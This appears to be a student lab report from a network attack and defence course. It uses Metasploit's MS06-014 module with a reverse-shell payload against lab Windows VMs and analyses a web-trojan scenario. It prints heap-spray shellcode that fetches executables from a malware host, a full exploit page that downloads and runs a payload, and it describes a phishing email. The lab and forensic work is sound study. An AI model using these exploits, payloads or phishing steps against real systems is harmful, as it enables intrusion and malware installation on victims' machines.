20232820 2023-2024-2 《网络攻防实践》实践十一报告

20232820 2023-2024-2 《网络攻防实践》实践十一报告

1.实践内容

web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程

取证分析实践—网页木马攻击场景分析

攻防对抗实践—web浏览器渗透攻击攻防

攻击方构造两个不同Web浏览器端软件安全漏洞的渗透攻击代码,进行混淆后,使用有欺骗性的电子邮件欺骗防守方。
防守方通过恢复电子邮件中的原始形态,并分析安全漏洞。

2.实践过程

web浏览器渗透攻击

虚拟机IP地址
kali192.168.200.7
Win2K192.168.200.8

选择使用Metasploit中的MS06-014渗透攻击模块
先在kali中输入msfconsole,进入Metasploit控制台
在这里插入图片描述在这里插入图片描述
输入指令search MS06-014,搜索渗透模块。

在这里插入图片描述
选择PAYLOAD为任意远程Shell连接
输入指令use exploit/windows/browser/ie_createobject,使用此模块

在这里插入图片描述
输入指令set payload windows/meterpreter/reverse_tcp,设置荷载
输入指令set RHOST 192.168.200.8,设置靶机地址
输入指令set LHOST 192.168.200.7,设置攻击机地址

在这里插入图片描述

设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
输入指令exploit,可以看到返回一个网址 http://192.168.200.7:8080/vOCGKDyTTU
,此网址为木马网址。

在这里插入图片描述

在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL
在靶机浏览器中输入此网址,返回英文字符串

在这里插入图片描述

在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
发现形成会话
在这里插入图片描述
输入指令sessions

在这里插入图片描述
输入指令sessions -i 1,打开会话,随后输入指令ipconfig进行验证,发现攻击成功
在这里插入图片描述

取证分析实践—网页木马攻击场景分析

首先你应该访问start.html,在这个文件中给出了new09.htm的地址
输入指令cd Desktop进入桌面,并输入指令gedit start.html打开网页代码文本,查找new09.htm
在这里插入图片描述
在这里插入图片描述

我们从src后的路径信息可以发现new09.htm和start.html在同一路径下
输入指令:gedit new09.htm 打开new09.htm
在这里插入图片描述

在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件

对new09.htm文件中引用的两个文件进行散列求MD5值
在这里插入图片描述

在这里插入图片描述

如果解密出的地址给出的是网页或脚本文件,请继续解密。
如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
重复以上过程直到这些文件被全部分析完成
在hashed文件中找到对应文件,打开23180a42a2ff1192150231b44ffdf3d3,发现在kali中使用gedit打开会出现乱码,使用本地机打开
在这里插入图片描述
在这里插入图片描述
打开另一个文件7f60672dcd6b5e90b6772545ee219bd3,可以看出使用了xxtea分组密码算法进行加密。密钥为\x73\x63\x72\x69\x70\x74,密钥为’script’
在这里插入图片描述
使用xxtea解密网站,输入内容和密钥进行解密
在这里插入图片描述
得到16进制文本,并使用十六进制转换网页进行转换

在这里插入图片描述
得到如下四个漏洞
在这里插入图片描述

依次得到其hash值

5d7e9058a857aa2abee820d5473c5fa4
3870c28cc279d457746b3796a262f166
5f0b8bf0385314dbe0e5ec95e6abedc2
1c1d7b3539a617517c49eee4120783b2

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在hash文件夹中找到其对应文件

第一个文件中有十六进制串,转换得到其内容
在这里插入图片描述
在这里插入图片描述
对地址http://down.18dd.net/bb/014.exe计算哈希值并查找,找到ca4e4a1730b0f69a9b94393d9443b979
在这里插入图片描述
打开第二个文件,发现p,a,c,k,e,d字段

在这里插入图片描述

在这里插入图片描述
解密结果为

`var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

取从第三个2f开始到末尾的内容687474703a2f2f646f776e2e313864642e6e65742f62622f62662e657865,将其转换为字符串

在这里插入图片描述
打开第三个文件,发现是一个八进制文件
在这里插入图片描述
将其转换为字符串文件

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

按照第二个文件的方法得到地址 http://down.18dd.net/bb/pps.exe,计算hash得到ff59b3b8961f502289c1b4df8c37e2a4

在这里插入图片描述第四个文件1c1d7b3539a617517c49eee4120783b2我们在Hash文件夹中将其找到,重命名发现是一个压缩文件,解压缩得到bd.exe
在这里插入图片描述
将先前的三个文件做 Hash 下载,随后有了四个 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe。而且这四个文件大小均为37kb。进一步对文件内容进行 MD5 散列计算得出结论,我们发现这四个文件内容完一致。

使用IDA打开db.exe
在这里插入图片描述

在这里插入图片描述
查看流程图
在这里插入图片描述

攻防对抗实践—web浏览器渗透攻击攻防

作为攻击方:

虚拟机IP地址
kali (20232820)192.168.31.136
Win2K (20232822)192.168.31.57

先在kali中输入msfconsole,进入Metasploit控制台
在这里插入图片描述

输入指令search MS06-014,搜索渗透模块。
在这里插入图片描述

输入指令use exploit/windows/browser/ie_createobject,使用此模块

在这里插入图片描述

输入指令set payload windows/meterpreter/reverse_tcp,设置荷载
输入指令set RHOST 192.168.31.57,设置靶机地址
输入指令set LHOST 192.168.31.136,设置攻击机地址
在这里插入图片描述

输入指令exploit,可以看到返回一个网址[http://192.168.31.136:8080/TUIOg7OMF

]( http://192.168.31.136:8080/TUIOg7OMF) ,此网址为木马网址。

在这里插入图片描述
构造钓鱼邮件,发送给防守方
在这里插入图片描述

当防守方访问网址后,发现形成会话
在这里插入图片描述

输入指令sessions
在这里插入图片描述

输入指令sessions -i 1,打开会话,随后输入指令ipconfig进行验证,发现攻击成功

在这里插入图片描述
作为防守方

虚拟机IP地址
kali (20232822)192.168.31.56
Win2K (20232820)192.168.31.21

攻方使用ie漏洞MS06-014攻击,我方进行分析
点击查看,并查看源文件
在这里插入图片描述

进入http://www.esjson.com/htmlformat.html 对代码进行压缩格式化

在这里插入图片描述

得到结果如下:

<html><head><title></title><script language="javascript">function qrbpMtAyhehBPZmDkeCqpgoFnmWpiXE(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function CZoft(a){var s=qrbpMtAyhehBPZmDkeCqpgoFnmWpiXE(a,"WScript.Shell");var o=qrbpMtAyhehBPZmDkeCqpgoFnmWpiXE(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\ciDvhTEvUNxKlwhQyxMhQQ.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function YnFNLmVQYlwnPENZguwOyrPyLf(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=qrbpMtAyhehBPZmDkeCqpgoFnmWpiXE(a,"WScript.Shell");if(b){CZoft(a);return(0)}}catch(e){}}i++}}</script></head><body onload='YnFNLmVQYlwnPENZguwOyrPyLf()'>PuiB</body></html>

在这里插入图片描述

js代码中调用了document.location加载了 payload,并且从bin=e.Item(“TEMP”)+"\ciDvhTEvUNxKlwhQyxMhQQ.exe"一句代码中可以看出它调用了一个程序,“Ctrl+Shift+Esc"打开任务管理器发现本程序正在运行。此程序可能就是攻击获得权限的关键。
在这里插入图片描述
通过查询得知BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的变量,所以能知道攻击者是使用MS06-014这个漏洞进行攻击的。
在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:当靶机使用winXP时,会出现会话中断,no session的情况。
  • 问题1解决方案:将靶机换成win2k,重新实验。

4.实践总结

通过本次实践,我进一步了解了web浏览器渗透攻击的实践过程。学习了如何取证分析,提升了攻防对抗实践能力。让我提高了动手实践能力,加强了对攻防对抗的理解。

参考资料

  • 21
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值